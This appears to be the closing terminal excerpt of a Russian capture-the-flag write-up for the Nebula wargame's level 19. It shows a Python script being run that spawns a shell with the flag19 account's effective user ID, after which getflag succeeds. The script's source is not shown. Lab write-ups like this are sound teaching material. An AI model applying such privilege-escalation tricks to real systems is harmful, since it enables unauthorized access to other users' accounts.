level19@nebula:/home/flag19$ cat|python /tmp/flag19.py
parent: 3828, child: 3829
Child 3829
Running shell...
id
uid=1020(level19) gid=1020(level19) euid=980(flag19) groups=980(flag19),1020(level19)
getflag
You have successfully executed getflag on a target account
На этом всё.
Автор: GH0st3rs